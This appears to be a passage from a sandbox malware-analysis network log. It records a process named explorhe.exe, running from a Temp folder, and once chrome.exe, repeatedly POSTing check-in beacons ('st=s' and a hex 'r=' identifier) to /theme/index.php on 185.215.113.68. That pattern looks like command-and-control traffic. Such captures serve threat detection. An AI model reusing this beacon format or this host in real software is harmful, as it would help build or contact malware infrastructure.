Jan 18, 2024 00:37:55.514569998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.6	50508	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:55.870667934 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:56.102238894 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.6	50509	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:56.355665922 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:56.599646091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.6	50510	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:56.959139109 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:57.191195965 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.6	50512	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:57.487868071 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:57.730499983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.6	50513	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:58.086544037 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:58.319411993 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.6	50514	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:58.561920881 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:58.796497107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.6	50515	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:59.159113884 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:59.396390915 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.6	50516	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:00.750334978 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:00.993917942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.6	50517	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:01.353089094 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:01.587656975 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.6	50518	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:01.839867115 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:02.080890894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.6	50519	185.215.113.68	80	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:02.446105957 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:02.681037903 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.6	50520	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:02.937325954 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:03.180764914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.6	50521	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:03.539160013 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:04.095612049 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:04.329154015 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.6	50522	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:04.579881907 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:04.823329926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.6	50523	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:05.191705942 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:05.424712896 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.6	50524	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:05.675775051 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:05.917085886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.6	50525	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:06.302686930 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:06.537270069 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.6	50526	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:06.789024115 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:07.034148932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.6	50527	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:07.403832912 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:07.641329050 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.6	50528	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:07.881335974 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:08.118128061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.6	50529	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:08.471298933 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:08.706056118 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.6	50531	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:08.952470064 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:09.193691969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.6	50532	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:09.545001984 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:09.775999069 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.6	50533	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
